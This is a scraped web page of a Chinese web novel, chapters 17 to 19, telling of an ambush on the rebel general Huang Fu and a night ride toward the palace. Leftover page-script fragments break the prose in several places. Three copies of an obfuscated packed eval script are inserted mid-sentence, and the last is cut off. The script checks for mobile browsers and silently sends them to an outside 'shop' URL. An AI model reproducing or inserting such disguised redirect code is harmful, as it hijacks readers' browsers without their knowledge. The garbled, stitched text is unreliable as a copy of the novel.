$(''.inform'').remove(); $(''#content'').append('' 鸣玉?裴大娘子?……怎么大家都在啊?” 萧鸣鸾讶然地在走廊另一头停下脚步。 好,来吧,都可以来。人多热闹,忙点好啊。 四人在萧鸣玉的书房里坐下,遣散了侍从,掩好门窗,孟羽立刻道:“昨夜郭姨带着一部分姥姥的亲兵回府里了。她们说要送母亲、妹妹和我出城去……她们说她们罪大恶极,百死莫赎,只求死前护送姥姥的后代到安全的地方去。到底是怎么回事?” 裴应弦拧着眉毛,沉沉觑了她一眼:“郭仲谌临阵反水,倒确实是叛国的大罪。她可有告诉你原因?” “……郭姨说,于夋侮辱姥姥,言辞激烈,且逼她们交出玄甲,换给自己的亲卫……”孟羽咬着嘴唇,面上现出愤恨与惶然混杂的神色,“将军府亲兵的玄甲都是姥姥亲自督工监造的,她跟我说过,姊妹们一个也不能少,怎么能于夋说要就给?况且,况且,他说姥姥——” 老不中用了,虎胆熊心都缩成蛇肝鼠肺了,守着几万大军竟不敢渡河而击,可见以前再风光的大将老了也只是吃空饷的废物,还是去大牢里安度晚年为好。 这段恶语萧鸣玉记得很清楚,因为上辈子裴应弦清算乔氏的时候,在朝堂上一字不漏地复述了出来。那时候裴应弦还远没有后来心思深沉,她的怒火与她一样年轻,嘹亮灼人地在金殿之中激荡。 果然,孟羽咬牙切齿的话音刚落,裴应弦的脸立刻沉了下来:“好一个不敢渡河而击,于夋……” 萧鸣鸾也面色难看,坐在一旁暗暗摇头。 萧鸣玉轻咳一声:“所以,她们临阵倒戈,追着往南撤退的于夋杀了过来?然后呢,郭将军可有提到澧阳城是如何被攻破的?” “她们也不太清楚,只大概说了。”孟羽神色一暗,“郭姨说,她们当时虽一路咬在于夋的部队后面,只想取了那混账的人头,但身后黄福的部队也追了上来,拖慢了她们行进的速度,本来是赶不上的。可是还没到西阳门附近,前面也打起来了,好像是遭了埋伏……而后城门就开了,后面蓬州兵追得紧,她们差不多是被卷进城里来的,进来后就直接到府上了。” “有多少人?现在她们人呢?”萧鸣鸾问道。 孟羽回答:“只有六十多人回来了……我看她们几乎都带着伤,就先悄悄把人都安顿在了府里,让她们先包扎、休息,休整好了再另作打算。” 萧鸣玉暗暗点头。突遭变故,孟羽虽然慌张,却还是能快速把事情安排得有条有理,而后向可靠的盟友求助,难怪后来裴应弦那么看重她。比起她那个一心扑在道学上、一点儿也没继承孟钦衣钵的母亲,还是她更适合接手将军府的武装。 他还在思索将军府亲兵口中的遇到埋伏是怎么回事,就听裴应弦忽然抬手敲了敲桌面,迎着三人目光开口道:“诸位,请听我一言。” 她向前倾身,双手按在桌面上,眼睛在昏暗的室内亮得惊人:“澧阳虽破,皇城仍固,是为天时;萧、孟二家比邻而居,是为地利;宣武将军欲访萧府,而将军府有六十精兵在侧,是为人和。” “多助之至,天下顺之——若黄福真敢来登门拜访,何不于府中设伏,围而杀之?” 17. 赠我金错刀(二) 金正五年五月初九,天朗气清,淡云映日。 裴应弦盘坐在萧宅书房中。面前的窗子朝向院中,竹影疏疏、棠花簌簌,和风卷着草木清气叩开窗扉,萦纡满室。 长刀横在膝头,斑驳错落的花影印上刀身,将刃上寒意四溢的凶煞气柔和地推平化开。裴应弦盯着摇曳的淡影出了片刻的神,拎起旁边的布片擦起刀来。 就是今日了。 宣武将军的拜帖与她本人一般粗野,字里行间带着似有若无的威胁意味。 萧承安本不想让黄福登门,她做了半辈子清流贤臣,怎么能一朝向叛军头目敞开大门。但裴应弦说服她只花了一盏茶的时间:萧大人,莫非你情愿黄福横行城中、鱼肉百姓,或者情愿乔逸只手遮天、任性妄为? 若此事成,萧氏能借此重回朝堂,孟羽在其中的功劳也能为祖母孟钦挣得斡旋的余地。此为百利而无一害之计——前提是,她们真的能一举杀死黄福。 裴应弦随手丢开布片,将指腹压上刀身。冷铁寂然无声,凉意锋利地啃咬她的指尖,她从刀刃上嗅到某种冰凉的甜味,由血浇筑而出,危险,隐秘,畅快淋漓。 门外传来急促的脚步声,萧家的小厮在门口停步,与裴应弦对上视线后朝前院比划了个手势。 来了。 裴应弦提起佩刀,闪身躲进了屏风后,与已持刀立在另一侧的郭仲谌对视一眼,点了点头。 这位最先怒而反叛的孟钦心腹年近不惑,生就一副暴脾气,除了孟钦本人谁也不服。 本来,裴应弦的打算是书房里只留自己一人,以免黄福察觉不对。但郭仲谌哪里会听她调配,不等裴应弦说完便拎着刀站起身,冷笑着扯动嘴角:小娃倒是大言不惭,真当那黄佑平是什么好相与的? 好吧,多一个人多一份保障。若不是她们还得腾出人手处理黄福带来的蓬州兵,裴应弦倒也支持在书房里埋伏三百刀斧手,摔杯为号一跃而起,把黄将军细细切做臊子。 萧承安的书房宽敞雅致,却没什么能藏人的地方,为了让她们有个躲藏之处,侍从们将一张宽大的木屏风搬进了书房。屏风精美沉重,通体棕红,最下方一排花纹却是镂空的,若黄福心细,难保不会看出端倪来。 为了不让黄福的注意力放在此处,裴应弦又向孟羽借了把孟钦将军早年间收集的古剑,把剑挂在桌案后的墙上,希求第一时间吸引黄福的眼睛,让她无暇顾及别处。 那古剑往墙上明晃晃地一挂,简直像在叫着看我看我快来看我。裴应弦作为一介武人,以己度人一下,认为黄福很难拒绝这样的诱惑。 ——反正她自己很难对诱惑说不,拿到的时候很是爱不释手地摸了半天。 她后背贴着屏风持刀静立,呼吸压到最轻,整个人几乎化进屏风的影子。一切声音在这时变得分外鲜明:熏风拂枝声,雀鸟啁啾声,簌簌花落,窸窣虫鸣,房间外小厮远去的脚步声,郭仲谌几近于无的呼吸,以及隔壁静室中埋伏的孟将军亲兵轻微的动静。细碎的、或远或近的声音落进她耳中,裴应弦凝神静听,整个人雕像般凝固着,唯有双眼眨动、发丝轻飘。 她不确定自己站在那里等了多久。注意力高度集中的时候,人是很难分神去感受时间如何流逝的。窗外枝头上,一只翠羽的雀儿振翅起飞,几瓣淡色的海棠飘落在窗台上。人声远远地响起来,她听到萧承安的声音:“前些日子偶然得了一柄古剑,不知将军可愿前往一观……” 裴应弦屏住了呼吸。另一侧,郭仲谌的手按上了刀柄。 一道脚步声踱上书房外的几级台阶,跨过门槛,踏进室内。 一步。两步。三步。四步。 门扉闭合,门闩插紧。 进入书房的人停下步子,发出赞叹的声音:“好剑!萧大人从何处——” 她的话没能说完。 确认来者是黄福后,裴应弦便倏然自屏风后闪身而出,箭一般弹射而起,自背后袭向宣武将军。长刀扬起,刃上银光在空中凛冽地一闪,狠厉地斩向黄福的颈侧。 与此同时,郭仲谌的阔刃大刀也大开大合地直斩向她的胸膛。 也许是常年征战磨砺出的敏锐本能发起了警报,黄福在刀刃触到脖颈之前本能地向另一侧闪出去,同时下意识抬起了手臂挡在颊侧。 裴应弦的刀刃重重砍进黄福右臂,郭仲谌则劈中了宣武将军的肩膀。血花飞溅中,这位久经沙场的将军痛极怒吼,抽臂旋身,飞快地侧向闪出,避开紧追而来的刀光,一边用未受伤的左臂抽出了腰间佩剑。 黄福的面孔因剧痛而扭曲,半侧脸颊上缀一串飞溅的血迹,在被逼入末路时,这武将陡然现出极狰狞可怖的模样来。 郭仲谌那把宽阔而沉重的大刀挟着凌厉的破空声凶狠地劈向黄福面门,黄福架起佩剑去挡。咣的一声金属碰撞声响,而后是令人牙酸的摩擦,那刀刃居然被她左手持剑抵住了,堪堪停在头顶上几寸处。 两把兵刃在各自施力中相持,裴应弦自然不会错过这个机会,刀尖绕出一个刁钻的角度,斜着捅向黄福腹部。 她的攻势本不该受阻——黄福正与郭仲谌全力相扛,无法移动,右臂又重伤失力,应当无法避开或阻滞裴应弦的攻击。但长刀刺出的势头却忽然一缓。 裴应弦定睛看去,只见一片艳烈淋漓的殷色中,黄福竟用右手生生握住了刀身。那宽大的手掌死死攥住了裴应弦的长刀,鲜血横流,刀尖明明已刺破了黄福侧腹的皮肤,却愣是无法继续往前。 这景象几乎让裴应弦感到骇然:黄福的右臂已挨了她用尽全力的一斩,她竟还能用伤手空手接下她的刀? 宣武将军的整张脸已完全扭曲了。她双眼充血,牙关紧咬,喉中每一声喘息都像一声低吼,蓬州荒原上横行的兽在疼痛与血气中寻回了骨髓中不可剔除的野性,死亡教不会她收敛,教不会她屈从,死亡的阴影只会让野兽愈加疯狂——直到疯狂或死亡彻底将她吞噬。 在裴应弦加力的瞬间,黄福松开了右手。锋锐无匹的长刀像刺穿一床棉被一样轻松地刺穿了她的侧腹,因裴应弦猝然的施力狠狠钉进了黄福身后的木屏风中,一时间竟难以拔出。 同一刻,黄福侧向卸力,收回了左臂。郭仲谌的大刀向她直劈而下,她不退反进,用把自己穿在腹部那把刀上的方式,向着裴应弦的方向迈出一步,剑刺向裴应弦的眼睛—— 太快了。 临死前一刻的反扑像燃烧生命力般不可思议的快。郭仲谌的刀削下黄福一侧的耳朵,劈进了她的肩颈间。裴应弦还没能将钉进屏风的刀拔出,剑尖几乎已触到她的眼睫。 她本能地向后弯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999085|193937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腰仰头,冷光几乎贴着她的眼球擦过去。寒意凛冽地吻过她的睫羽,她下意识闭上眼睛。 几滴温热的液体溅上她的下颌与脖颈,她猛地退开两步,听到郭仲谌犹带气喘的声音:“她死了。” 那三个字几乎被耳中隆隆碾过的血液奔流声搅碎盖过,被淹没在擂鼓般既急且重的心跳中。裴应弦睁开眼,正看到那条执剑的手臂无力地委顿下去。失去生命的手指徒劳地抽搐两下,当啷,长剑落在满是血迹的地面上。 裴应弦还没来得及对此做出任何反应,一只手忽然从身后探出,扳着她的左肩要她转身。 她还处在战中状态,精神紧绷,警惕得不可思议,想也没想便抬起右手,反手扣住对方手腕用力一捏,同时左肘后顶,狠厉的力道也许不比执刀时更轻。 手肘撞上人的身体,她听到一声隐忍的痛呼,意识到自己反应过度了。 “呃……让我看看,眼睛——” 身后的人声音痛苦破碎,却透着一股子强烈的急切,以及浓重的担忧。 裴应弦尴尬地放手,顺着对方的力道转过身去:“抱歉,我……” 她的声音冻在舌尖。 萧鸣玉站在她身后很近的地方,一张俊脸因她的狂暴肘击痛得皱成一团,却在看到她毫发无损的眼睛时明显地松了口气。 那如释重负的表情看得裴应弦哑然。苏合香的味道缠着纸墨的气息扑上鼻尖,与空气中浓郁的血味混杂出不伦不类的腥甜。明明面对凶悍如野兽的黄福都未曾生出退意,与萧鸣玉一对视,裴应弦却莫名退了半步,好像这温文尔雅的公子比临死反扑的宣武将军更像洪水猛兽。 萧鸣玉仿佛在看到她后退时才惊觉唐突,低下头掩饰似的咳了一声,退后两步低声道:“略有一点轻伤……无事。” 裴应弦后知后觉地抬手摸了摸眉毛,忘了手上沾着血,倒把额头上抹出两道猩红。 眉峰处擦破了一点皮——这也算得上“轻伤”?他再多盯着看几息,都能给盯愈合了。她略显困惑地敷衍一笑:“让萧公子受惊了。” 门外的嘈杂声弱下去,有人敲了敲门,两长两短,是提前说好的信号。站在门边的萧承安与萧鸣鸾拔开门闩,推开了书房的大门。 书房外,十二名随黄福前来的蓬州兵的尸体横卧在地,身上插着箭矢,手中握着兵刃。收割了她们性命的孟将军亲兵正有序地从二进院的墙头落下,手脚麻利地收拾着此处小规模的战场。 裴应弦收好了自己的刀,快步走出书房去。她总觉得有道视线一直黏在背上,她知道从哪来,却一点儿不想回头——真的,聪明归聪明,萧鸣玉待人接物是不是太有问题了? ……或者,仅仅对待她裴希有问题? 没及细想,一道沉重的脚步声走近她。 裴应弦回过头,看到郭仲谌向她走来。这总阴着脸的孟钦心腹几乎半个人都被血溅湿了,衣衫上深深浅浅的红与面颊上泼洒状的血迹衬得她修罗似的,更不必说她手中还提着一颗血淋淋的头颅。 郭仲谌的脸色仍然阴沉,一双眼里却冒着火,又亮又痛,像烧着神魂。她猛地一扬手,把黄福的头颅扔在裴应弦脚下,嘶哑道:“小裴将军,你是皇亲,你能在陛下面前说上话。那你告诉我——这东西换我家将军的清白,够不够?” 18. 赠我金错刀(三) 不够。 郭仲谌临阵倒戈,撵在于夋屁股后面追杀,把乔逸的好外甥追得好生狼狈。纵使如今戴罪立功,拿下了叛军头目之一,这“功”保不保得住她和姊妹们的小命还要两说,哪里有和乔逸讨价还价、解救孟钦的余地。 不如说,郭仲谌这番明摆着在忠于大宪皇权之前,先忠于孟钦本人的举动,反而让乔逸更不会选择留下她。 但这件事换个人做,情况就完全不同了。 孟羽不行,作为孟将军的接班人,她一样会让乔逸感到忌惮;萧承安也不行,一个清正贤明、家世显赫、还“能文能武”的下属,姓乔的更容不下。 裴应弦不一样。她手里什么势力也没有:高亭郡主没有实权,裴氏的兵不归她管,至于那几百微州兵,人家名义上可都是薛令仪的手下,和她裴希没关系。她武艺高强、单枪匹马杀了黄福又如何,光杆司令一个,还是个未加冠的小孩,乔逸还能怵她不成?加上她身体里还流着一半岑家的血,会效忠陛下便不值得怀疑。 这桩功劳落在裴应弦头上,她们才能获得和乔逸讨价还价的余地。 不过,现在还不是说这个的时候。 除了候在书房门外的十二名亲卫,黄福还带来了三十蓬州铁骑,此刻仍等在萧家大门外。 按理说,她们需要这批人把宣武将军伏诛的消息送出去,让城里驻军产生混乱,好寻到机会进宫去。 但考虑到能被黄福带在身边的那些亲兵,想必是最忠诚、最受她信任的那部分人。将领授首,她们就一定会立刻离开么?也许反而会死命反扑也不一定。基于此种考虑,裴应弦与萧承安商议后,决定令将军府亲兵在萧宅墙头向下射箭,不求杀敌,只为威慑和驱逐。 那时,萧鸣玉提出,要她们放其中一人走:“黄福身边有一近两年刚刚崭露头角的亲卫名唤赵歆,是协州幽平郡麒县人。但就我所知,她以前的名字是张歆。” “……什么意思?公子还是直说吧。” 萧鸣玉目光幽幽:“幽平豪族张氏,是最先出钱出人,支持现任幽平郡守出兵的。她们把一个家族边缘人改名换姓放在黄福身边,大娘子觉得,这是什么用意呢?” 张歆——或者赵歆,随便叫她什么吧,此刻就领着那余下三十铁骑守在门外。 余下那二十九人是死是活都不重要,张歆必须活着——活着把黄福授首的消息,第一时间传到幽平郡守耳中。 驻扎在澧阳城中的宣武将军的部队,在黄福死后,将会成为一块人人觊觎的肥肉。朝廷离得近,枚州刺史势大,幽平郡守知道得早,谁会接手黄福遗留的势力?在城外的两方又会不会因此狗咬狗,在涌入澧阳之前先撕起来? 裴应弦对此十分期待。 她与孟将军亲卫们一起攀上架在萧宅墙头的梯子。萧宅门前的道路上,三十蓬州兵三三两两地聚在一起说笑,空气里飘来马粪的味道,还有蓬州口音浓重的玩笑话。 深吸一口气,裴应弦猛地自墙头探出半身,举起手中头颅,疾声高呼道:“叛将黄福已授首!” 一瞬的寂然后,墙下爆发出两种截然不同的反应。一部分人看清了那被高高举起的头颅确实属于宣武将军后便惶惶然环顾起来,更有甚者翻身上马、急于奔逃;另一部分则发出怒极的咆哮,挽弓搭箭,就要将裴应弦从墙头射落。 然而在她们来得及动手之前,呼喝声起,墙头屋顶猝然冒出了二三十名身披甲胄的精兵。二三十张强弓同时霹雳般震响,箭支雨一般飞射而下。 萧宅门外的青石板,一时间几乎被鲜血洗净。 裴应弦冷眼俯视着张歆夹在另外几人中间“幸运地”逃出生天,并如她们推断中那样,不是往蓬州兵大本营,而是往出城的方向绝尘而去。 草草洗干净手和脸,套上萧宅下人替她清理过的甲,裴应弦看看天色,步履匆匆地往马厩走去。她边走边暗暗思索着带多少人一起进宫——人太少危险,人太多醒目,且这些孟钦亲兵愿不愿听她调配还要另算。 她低着头调整臂甲,没注意一道身影从长廊另一头闪了出来,与她一样步履匆匆。 “裴大娘子。” 裴应弦应声抬头,见萧鸣玉在她面前停下脚步。简单见了礼,这位公子从袖中掏出一张妥帖卷起的纸来,开门见山道:“还请带上这个。” “这是?”裴应弦接过,顺手展开,被纸上工整秀雅的字迹漂亮得一愣,下意识顺着读了两句: 臣某言:狂贼黄佑平,弃天犯纪,毁礼灭纬。外陵蓬枚,内奰棠澧。禀血涵气,咸百讐愤…… 萧鸣玉道:“琮为大娘子作表一份,为防才疏学浅、言辞鄙陋,又特意请大姐过目,稍作修改。大娘子可誊抄后,将此表与叛将首级一同献上……” 好贴心!裴应弦飞速地把整份表章通读了一遍,不由为对方的才情暗暗惊叹:从她和郭仲谌联手杀了黄福到现在,连一个半时辰也没有,萧鸣玉居然已经一气呵成地写出这样一份言辞优美流畅的奏表,甚至还请萧鸣鸾改完一遍、又重新誊抄一份。 真是好文采、好才思,以及……好贴心!她又感慨了一次。 如果萧鸣玉没给她这东西,裴应弦大概会直接提着黄福的脑袋冲进宫中,在她那皇表姐面前口述自己的英勇事迹。那样当然也说得过去——情势危急,顾不了那么多繁文缛节嘛!但是有了这份奏表,她的平贼之功就显得更从容、更游刃有余,也更容易博得那些大臣们的好感。 她喜上眉梢,小心地把那份手稿塞进了怀里,又在外层甲胄上妥帖地拍了一拍,亲热地笑道:“二公子真是肝肠冰雪,才情无双!希先谢过公子。至于誊抄嘛……” 听到她拖长的尾音,萧鸣玉脸上似乎露出某种微妙的“果真如此”的神情。 这眼神看得裴应弦有一点尴尬,她哈哈一笑,试图把这事糊弄过去:“澧阳城中形势紧张,进宫之事刻不容缓,我就先不……” 萧鸣玉轻轻地叹了口气,有点无可奈何似的微微点了点头:“嗯,我明白。” 你明白就好!不,你明白什么了?呃,总不能是明白了我字丑……裴应弦腹诽着,冲他灿烂一笑,点点头便要从他身边经过,继续往后院马厩去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999086|193937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 然而错身而过时,萧鸣玉又抬手拦了拦她:“大娘子且慢,还有一……” “嗯?”拿人手短,纵使着急,裴应弦也还是配合地停住脚步,转头看向萧鸣玉。 还没看着萧二公子那白玉似的一张面皮,裴应弦的目光先从对方拦在自己身前的手臂上掠过。看清对方露在衣袖外的皮肤时,她像被针猛地扎了一下,讪讪地缩了缩肩膀,抬手摸摸鼻尖退了半步。 萧鸣玉的手腕上环着一圈狰狞的乌青,烙在他莹白无瑕的皮肤上,简直像一枚铁镣铐般扎眼。 裴应弦一眼认出这是萧鸣玉来搭她肩膀时,自己下意识扣住对方手腕留下的痕迹。 哦,如果萧鸣玉现在把上衣脱了,她们说不定还能在他肋上找到一块同一批制造的撞击伤。 这一下子让她想起初次见面时她送给萧鸣玉的见面礼——脑门儿上一块吓人的青紫淤痕。 怎么回事儿,她裴应弦也不是什么毛手毛脚的粗鲁家伙,连申晚照那个小身板儿都不会在打闹中被她碰出什么问题,怎么萧鸣玉偏偏就每次都……? 是她裴应弦身上凶煞气太重,和这无瑕白璧天然地冲撞吗? 真尴尬,现在道歉好像有点晚了。 不,她是不是已经道过一次歉了来着? “嗯……公子是还有什么东西要交给我,让我带进宫里去么?”裴应弦问话时的中气都不那么足了,她开始有点怕自己万一哪句话没说对,再给这金贵的公子冲撞出什么三长两短来。 等了片刻没等到回答,裴应弦硬着头皮把目光的落点往上挪。 萧鸣玉定定地看着她,半晌,他眉梢微动,很轻地吐出一个字来:“……我。” “什么?”裴应弦莫名其妙,“你怎么?” “我说,”萧鸣玉下定了什么决心似的抿了抿唇,语气变得坚定,“带我一起去吧。” 不等裴应弦的拒绝脱口,他抢先一步解释道:“大娘子近些年来久居虞林,高亭郡主又不涉朝政,恐对朝中诸臣、宫中形势了解不足。琮虽仅为太常寺中一小小博士,却曾蒙先帝殊宠,几度进出宫闱,在其中应付周旋起来,应当比大娘子略要得心应手些。” 有道理,但那也不—— “况不止如此,琮……亦有私心。”萧鸣玉恳切地看着她,语气真诚,情感真挚,“大娘子也知道,母亲因替孟将军陈说赋闲在家,大姐亦闭门不出,萧氏如今……需要一个机会……” 他的语速慢下来,眼帘渐渐垂下去,似乎为这番剖白感到难以启齿。停顿片刻,萧鸣玉深吸一口气,重新抬眼看向裴应弦,道:“若大娘子信得过琮……不,若大娘子信得过鉴者给出的鉴词,恳请大娘子许我一道入宫,琮先谢过大娘子。” 他俯身深深地拜下去,脊背像一株被烈风拗弯的竹。 裴应弦心中莫名一动。她本该第一时间把人扶起来的,同辈这样的一拜她岂能受得起,然而那一瞬间,她垂头看着躬身静立的萧鸣玉,一种怪异的感觉闪电般沿着脊椎游过。 她沉默了一会儿,只说:好,那你随我走。 19. 生持朝天笏(一) 时近黄昏,斜晖盈院,赤金的夕照浓郁地在青石阶下流淌,空气中升腾起一层热而干燥的昏黄。 夏季,夜晚总是来得很迟。金火迟迟不肯让出天幕,蝉声一浪高过一浪。马不安地甩动着尾巴,裹上了布帛的蹄子踏在石砖地面上几乎无声。 黄福死在午后,一个下午的时间,足够她麾下的部队乱起来,不再严密地守在各个要道前。 裴应弦计划在夜色降临时出发,尽可能悄无声息地穿过小半个澧阳,避免太多冲突。要隐秘、迅速,人就不能太多,将军府亲兵只有十人随行,护送她和萧鸣玉进宫。 萧鸣玉……她本没打算带一位文弱的世家公子一起走。但那份奏表上承托着比她预料中更重的东西,短暂的权衡与某种直觉让她本能地答应了萧鸣玉的请求。 如果萧鸣玉只是自己写了这份奏表给她,结合之前这位公子某些奇怪的举动,裴应弦或许会以为是他对自己感兴趣。但既然萧鸣玉提到“请萧鸣鸾做了修改”,那这样一份奏表所代表的,应当就不是萧鸣玉的个人意志。 作为萧氏的长女,萧鸣鸾的态度在这个家族中的分量,比她的两个弟弟都重得多。如果是她对裴应弦的行为表示了认同甚至是支持…… “小裴将军,是时候了。”一名孟钦亲兵在她身边低声道。 裴应弦止住飘得过远的思绪,向对方点了点头,翻身上马。 马儿似是感知到空气中紧绷的气氛,四蹄焦躁地踢踏,在她身下低低地嘶鸣。裴应弦安抚地轻触白马的颈侧,回头看向同样面色肃然的萧鸣玉和六名士兵,与她们一一对过眼神。 最后一丝金乌残火的余烬也落入远山层叠的脊背之下,长庚明亮,在西方的天穹上熠熠孤决。 萧宅后方,连通后巷的门无声开启,一队骑手迅疾地驰出,随即滑入楼台影中,如鱼群滑入树影,未在夜色中激起一丝涟漪。 裴应弦在马背上伏低了身子。夜风柔和地扑上她的面颊,被炙烤过整日的土地蒸腾起带着尘土气息的热意。黄福的脑袋被包在一块布中挂在她身前,随着奔马疾驰的节奏一下一下轻轻撞着她的膝。浸透了布料的血气随着风一道撞在她面上,腥甜的味道刺激着嗅觉,让她精神绷得愈加紧了。 身后的马蹄声急促而不显乱象,裴应弦抽空回头瞄了一眼,萧鸣玉握着缰绳,全神贯注地盯着前路。这位公子驭马倒是比她想得要熟练,看上去不需要她额外费什么心思。 刚收回目光,前面的两名将军府亲兵便扯起缰绳,冲身后做了减速的手势。 几乎同一时间,前方高墙的转角后传来了人声。裴应弦一边勒马减速,一边小心地摸上了腰间长刀。 保险起见,她们一行八人都在甲外套上了宣武将军麾下蓬州兵的衣服,为的就是在城中遇见敌人时能蒙混过关。夜晚与混乱的情势皆是她们伪装的保障,然而假的终究是假的,裴应弦面上镇定,心却仍不免提了起来。 若被看破,那也只好杀出一条血路了。马停了下来,她的手指扣上刀柄。 火光摇荡,人声渐近,一队蓬州兵闹哄哄地出现在转角之后。来人约摸二十个上下,为首的是个膀大腰圆的中年人,提着把长近四尺的环首刀,左手里举着一支火把。曳动的火光让那张面孔看起来凶蛮而阴鸷,她声音粗哑,正用蓬州话向身后的士兵们说着什么,话音在见到裴应弦一行人后猛地打住了。 那人眉毛一竖,颇为警惕地喝止了手下人上前的举动,隔着十数尺远的距离打量了一会儿,忽然提高声音,用蓬州话吆喝了一声什么,听起来是个问句。 裴应弦的掌心渗出一点冷汗。 很不幸,她们这边一个蓬州人也没有。别说回应了,恐怕所有人都和她一样,根本听不懂对方到底问了什么。 ……如果只剩下动手这一条路,那她们最好先下手为强。 这个距离,她有把握一箭射中对面为首那个中年人,但真冲杀起来,萧鸣玉要怎么办? 见无人回应,那人举起手里的刀,又重复了一遍自己的问题。裴应弦凝神去听,随即挫败地意识到,这诞生在莽莽荒原上的,由干旱、风沙与贫瘠的大地所孕育出的语言,实在与大宪腹地惯用的官话有着天壤之别。 ——她连句末那个升调到底是不是语气词都没法判断。 火光中,那人的眉毛越拧越紧,一双眼狐疑地眯了起来。她的身后,几人已经搭箭上弦,弓弦冰凉锋锐地割开暖光,气氛与箭矢一样紧绷,一触即发。 箭羽在颤动,攻击的指令含在舌尖,手指在衣袖的阴影中轻缓地推动刀柄,长刀出鞘半寸。在这千钧一发的时刻,一道沉闷的马蹄声敲碎了几乎绷紧到极致的空气。 萧鸣玉驱马走出了士兵们保护性的包围,在一行人最前方站定。所有的按在弦上的箭一时间全都调转了方向,统统指向了他。 他要干嘛?知道打起来自己会拖后腿,所以先去送死么?裴应弦一瞬间冷汗都下来了,出发前的思考回旋击中了她:要是让人家二公子死在这里,萧氏别说帮她,不恨死她恐怕都算十成十的菩萨心肠了! 她开始计算这个距离够不够她在萧鸣玉被射成马蜂窝前扑过去把人救了。 顶着为首的蓬州兵狐疑的眼神,萧鸣玉张开嘴,说了一句蓬州话。 裴应弦震撼地瞪着他的背影。 萧鸣玉说得流利、自然、抑扬顿挫,仿佛他也在蓬州那辽阔的荒原上出生、成长,血管里也奔涌着混着砂砾的长风。 但是怎么可能呢,他不是虞林的好山好水养出的玉人儿吗? 不知他到底回答了什么,那蓬州兵的脸色和缓了些,语气也没那么咄咄逼人了,她上下打量了萧鸣玉几眼,和他接着对话了几句,便摆手示意身后人收起弓箭。而后,她客气地向萧鸣玉点了点头,转身往另一个方向去了。 随着那队蓬州兵渐渐走远,裴应弦高高悬起的心缓慢落回原位。她松开手指,任由长刀重新滑回鞘中,不动声色地舒了口气。 最后两名蓬州兵从她们面前走过时,变故陡生。其中一人似是看见了萧鸣玉的脸,忽然一扯缰绳原地勒马。那人脸色微变,转过头又盯着萧鸣玉看了几息,倏然高声叫道:“不对!” 裴应弦猛地看过去,脸色也变了。她记得这个声音——上次听到这个人说话时,她还蜷缩在太学博经堂的矮柜里。那时,她在失血的眩晕中听到这个声音问:你又是什么人?大半夜的,在这里干什么? ——这是一路追着她冲进太学的那几名蓬州兵之一,曾在博经堂中与为她打掩护的萧鸣玉打过照面! 在她想起对方是谁时,那蓬州兵已高声喊出了一句话。裴应弦依然听不懂蓬州话,但至少这次,那句话里有她能够辨识的部分了——那人喊出了萧鸣玉的名字。 那蓬州兵的话还没说完,一支白羽箭已破空飞来,准而狠地扎进了她喉间。 裴应弦一秒也不敢耽搁,羽箭离弦的下一刻,她已将弓甩至背后,纵马跃出的同时掣刀在手,险而又险地替萧鸣玉挡下了杀到面前的第二名蓬州兵。 “退后!”冷铁与冷铁令人牙酸的碰撞摩擦声中,裴应弦从牙缝里挤出一声低喝。 她扑过来得仓促,架起长刀的角度不方便施力,而蓬州兵又是出了名的强健,那一刀震得裴应弦手臂短暂地发麻。萧鸣玉本就站得靠前,裴应弦冲来挡在他身前,几乎是被蓬州兵围在了中间。她挡下那一刀的同时,另有两名蓬州兵已从两侧攻了上来。 面前的敌人攻势极快,电光石火间两人已过了好几招。裴应弦余光看见有同行的将军府亲兵要上前帮她,却被别的敌人拖住,心中不由暗骂一声。敌人数量比她们更多,而她们又不能冒引来更多人的风险,必须速战速决。 下定决心,她出招便不再留力,下手愈加迅速、愈加狠厉起来。 所幸带来的都是郭仲谌精挑细选过的精兵,对上这支明显纪律松散的蓬州兵还算得心应手;而唯一的非战力萧鸣玉也十分识时务,直到自己留在战圈中只会拖累同行者,甫一开打便往边缘退去。 裴应弦第一箭发难得突然,将军府亲兵反应也快,人数上的劣势并未给她们造成太多影响。料理这支小队没有耗费太长时间,裴应弦将刀从最后一人胸膛中抽出甩了甩,才猛然懊悔地“哎”了一声:“应该留个人问一问黄福那些手下现在是个什么情况的。” 懊悔也晚了,不如尽快进宫去。她摇摇头收刀入鞘,正要回头招呼身后几人继续前进,街道远处忽然又传来密雨似的马蹄声。 怎么会这样倒霉! 来不及感慨或者咒骂,裴应弦立即向身后打了个手势,同行者皆依着她的指示后退,退进高墙的阴影中。 她们是在两条道路的交叉处与上一波蓬州兵打起来的,而现在马蹄声听起来是从面前那条路上传来,且十分急促。如果对方直行向前,经过时速度足够快,很难第一时间注意到她们。无论躲藏还是突袭,先隐藏起来都是个好选择。 将军府亲兵动作很快,唯一方才退得有些远的萧鸣玉也没在这时候犯傻,迅速挪到了裴应弦身侧。 马声愈发近了,裴应弦倾耳去听,整齐、迅疾、没有交谈和杂音——至少听起来,比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 